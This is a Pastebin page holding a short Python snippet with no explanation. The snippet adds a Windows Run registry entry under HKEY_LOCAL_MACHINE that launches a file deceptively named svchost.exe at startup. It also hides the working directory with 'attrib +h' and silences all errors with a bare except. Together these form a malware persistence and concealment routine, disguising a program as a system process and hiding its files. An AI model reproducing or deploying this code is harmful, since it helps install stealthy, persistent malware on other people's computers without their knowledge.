Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- try:
- hiddenPath = os.getcwd()
- hiddenPath = '\"' + hiddenPath + '\"'
- regPath = os.getcwd()
- regPath = regPath + r"\svchost.exe"
- regPath = '\"' + regPath + '\"'
- regConnect = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
- regKey = OpenKey(regConnect, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
- SetValueEx(regKey,"svchost",0, REG_SZ, r"" + regPath)
- os.system("attrib +h " + hiddenPath)
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement